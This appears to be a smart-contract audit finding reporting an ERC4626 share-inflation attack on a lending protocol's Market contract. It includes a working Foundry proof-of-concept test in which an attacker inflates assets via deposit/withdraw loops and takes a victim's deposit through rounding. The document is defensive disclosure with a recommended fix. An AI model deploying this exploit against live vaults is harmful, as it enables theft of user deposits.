Warm Cinnabar Lion

medium

# `Market` is vulnerable to inflation attacks

## Summary

`Market` is vulnerable to inflation attacks occur when the market has no liquidity and an attacker deposits 1 share, donates significant assets and steals the next deposits due to rounding.

## Vulnerability Detail

`Market` uses the `ERC4626` standard by importing the [Solmate](https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC4626.sol) dependency. The inflation attack is well known and is executed in the following steps:
- attacker mints 1 share
- attacker inflates total assets of the protocol
- user deposits some amount, which will round down due to the inflated total assets
- attacker receives the rounding error
It works because when the attacker deposits, the shares it receives are `amount * totalSupply / totalAssets`. If `totalSupply` is 1 and `totalAssets` is a big number, it will likely round down.

The protocol offers some mitigation measures such as the earnings acummulator and the `ERC4626` from Solmate not allowing deposits to round down to 0 shares, but it's still possible.

When there is no liquidity, it's easy for an attacker to transfer assets to the earnings accumulator at no cost by depositing and borrowing in a loop. As it is the owner of the only liquidity, it will receive all assets.

The attack was carried out in a test, add it to `Market.t.sol`:
```solidity
function test_POC_InflationAttack() external {
  market.setEarningsAccumulatorSmoothFactor(0.1e18);
  market.deposit(1, ALICE);
  skip(10 days);

  uint256 maturity = FixedLib.INTERVAL * 2;
  vm.startPrank(ALICE);

  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets + 1);
  
  for (uint i = 0; i < 100; i++) {
    market.depositAtMaturity(maturity, assets, 0, ALICE);
    assets = market.withdrawAtMaturity(maturity, assets, 0, ALICE, ALICE);
  }
  vm.stopPrank();

  skip(1 hours);

  // BOB deposits 1 less than the value of ALICE's position,
  // rounding down to 1 share, giving ALICE the funds
  uint256 preDepositAliceBalance = market.previewRedeem(1);
  uint256 bobAssets = 2*market.previewRedeem(1) - 1;
  assertEq(bobAssets, 7777576343084292348603); // approx 7777 * 1e18
  vm.prank(BOB);
  market.deposit(bobAssets, BOB);
  assertEq(market.balanceOf(BOB), 1);

  // ALICE has 1 share
  assertEq(preDepositAliceBalance, 3888788171542146174302); // approx 3889 * 1e18
  assertEq(market.previewRedeem(1), 5833182257313219261452); // approx 5833 * 1e18
}
```

## Impact

Attacker steals deposits of users.

## Code Snippet

https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC4626.sol
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L232
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L281

## Tool used

Manual Review

Vscode

Foundry

## Recommendation

Make an initial deposit to a trusted address to prevent such attacks.